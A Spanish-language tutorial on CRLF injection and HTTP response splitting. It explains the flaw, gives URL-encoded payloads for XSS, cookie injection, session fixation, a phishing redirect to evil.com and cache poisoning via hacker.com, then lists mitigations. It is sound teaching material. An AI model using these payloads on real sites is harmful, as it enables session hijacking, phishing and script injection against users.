Ataque de inyección CRLF

CRLF es el acrónimo utilizado para referirse a Carriage Return (\r) Line Feed (\n). Como se puede notar en los símbolos entre paréntesis, «Retorno de carro» se refiere al final de una línea y «Salto de línea» se refiere a la nueva línea. Por lo tanto, tanto CR como LF se utilizan para indicar el punto final de una línea. Cuando un usuario solicita contenido en un sitio web, el servidor devuelve el contenido del sitio web junto con los encabezados HTTP. Los encabezados y los contenidos están separados por una combinación definida de CR y LF. Es gracias a CRLF que un servidor sabe dónde comienza o termina un nuevo encabezado. Una vulnerabilidad de inyección de alimentación de línea de retorno de carro (CRLF) es un tipo de inyección del lado del servidor que ocurre cuando un atacante inserta los caracteres CRLF en un campo de entrada para engañar al servidor haciéndole creer que un objeto ha terminado y uno nuevo ha comenzado. Esto sucede cuando la aplicación web no desinfecta la entrada del usuario para los caracteres CRLF. Tiene una calificación de severidad media (P3 segúnVRT de Bugcrowd ).

El ataque de inyección CRLF tiene dos casos de uso más importantes:

• División del registro: el atacante inserta un carácter de final de línea y una línea adicional para falsificar las entradas del archivo de registro con el fin de engañar a los administradores del sistema ocultando otros ataques.
• División de respuesta HTTP: la inyección CRLF se usa para agregar encabezados HTTP a la respuesta HTTP y, por ejemplo, realizar un ataque XSS que conduce a la divulgación de información.

Ejemplo: 

Una solicitud GET simple se puede diseñar de la siguiente manera:

GET /%0d%0aSet-Cookie:CRLFInjection=PreritPathak HTTP/1.1

Nota: %0d y %0a son formas codificadas de \r y \n respectivamente. Si la aplicación web es vulnerable, un atacante podrá establecer una cookie en el sitio web. 

Impactos de la inyección CRLF

CRLF Injection permite al atacante establecer cookies falsas, robar tokens CSRF, divulgar información del usuario inyectando un script (XSS) y realizar una variedad de otros ataques. También permite a los atacantes desactivar y eludir medidas de seguridad como los filtros XSS y la política del mismo origen (SOP), haciéndolos susceptibles a los siguientes ataques:

1. XSS o Cross Site Scripting
XSS o Cross Site Scripting es una vulnerabilidad de seguridad que permite a un atacante inyectar código JavaScript malicioso en la aplicación web. Las siguientes requests GET están diseñadas en una string de intentos de inyección CRLF con XSS. 
Al mostrar una alerta que contiene información confidencial del usuario 

www.target.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

Al deshabilitar la protección XSS 

www.target.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23

2. Inyección de cookies La
división de respuesta HTTP permite a un atacante establecer cookies maliciosas en el navegador de la víctima. En la mayoría de los casos, la siguiente solicitud GET dará como resultado una redirección 307 y, por lo tanto, la víctima será redirigida a target.com y la URL no contendrá el parámetro Set-Cookie. Sin embargo, en segundo plano, se establecerá la cookie. 

www.target.com/%0d%0aSet-Cookie:CRLFInjection=MaliciousCookieSet

3. Ataques de phishing
Un atacante puede configurar el encabezado de ubicación que redirigiría a la víctima al sitio web maligno. Este sitio web se puede desarrollar para que se parezca al sitio web de destino y cuando la víctima ingrese sus credenciales, se enviarán al atacante. El encabezado de ubicación se puede configurar como:

GET /%0d%0aLocation:%20https://evil.com HTTP/1.1

4. Fijación de sesión
Similar al ataque de inyección de cookies, aquí el atacante establece la identificación de sesión de un usuario en un valor particular. Este enlace se envía a la víctima y cuando la víctima inicia sesión con esta sesión, el atacante también puede iniciar sesión con la misma identificación de sesión. 

www.target.com/%0d%0aSet-Cookie:session_id=942....

5. Inyección de encabezados HTTP
Un atacante puede aprovechar la inyección CRLF para inyectar encabezados HTTP en una aplicación con el fin de vencer los mecanismos de seguridad, como los filtros XSS o la política del mismo origen. 

www.target.com/%0d%0aHackersHeader:NewHeader

Los encabezados de activación de CORS (Cross Origin Resource Sharing) se pueden inyectar y el atacante puede usar JavaScript para acceder a recursos confidenciales que de otro modo están protegidos por SOP (Same Origin Policy) que evita que los sitios de diferentes orígenes accedan entre sí. 
6. Envenenamiento de caché web
El envenenamiento de caché web es una técnica por la cual un atacante puede entregar contenido envenenado mediante la manipulación de un caché web. Para explotar con éxito este problema, un atacante necesitaría envenenar el proxy de almacenamiento en caché del sitio web vulnerable, los sindicadores, las redes de entrega de contenido (CDN) u otros mecanismos de almacenamiento en caché entre el cliente y el servidor. Después de un envenenamiento exitoso de la caché web, la víctima no tendrá idea del contenido malicioso que la caché le proporciona. El siguiente es un ejemplo de cómo un atacante podría explotar potencialmente una inyección de encabezado de host (usando CRLF) al envenenar un caché web.

Para la siguiente Solicitud: 

$ telnet www.target.com 80
Trying x.x.x.x...
Connected to www.target.com.
Escape character is '^]'.
GET /%0d%0aX-Forwarded-Host:hacker.com HTTP/1.1     //or Host
Host: target.com

Habría la siguiente respuesta: 

HTTP/1.1 200 OK

<title>Example</title>
<script src="http://hacker.com/script.js">

Casos de uso varios: 

1. Inyectar un encabezado de respuesta HTTP falso: 

Content-Length: 10

Ahora, el navegador web solo analizará los siguientes 10 bytes. 
2. Inyectar un encabezado de respuesta HTTP falso: 

Content-Length: 0

Esto se trata como una respuesta terminada y los navegadores web comienzan a analizar una nueva respuesta.

Mitigaciones:

Un desarrollador debe tener en cuenta lo siguiente para evitar la inyección de CRLF:

• Desinfección de la entrada del usuario.
• Codifique los caracteres CR y LF (\r, \n) para que, incluso cuando se proporcionen, el servidor no los reconozca.
• Valide la entrada del usuario antes de que lleguen a los encabezados de respuesta (por ejemplo, utilizando métodos como StringEscapeUtils.escapeJava()).
• Se debe deshabilitar un encabezado innecesario.
  La siguiente tabla enfatiza la severidad de la inyección CRLF según varios estándares de la industria: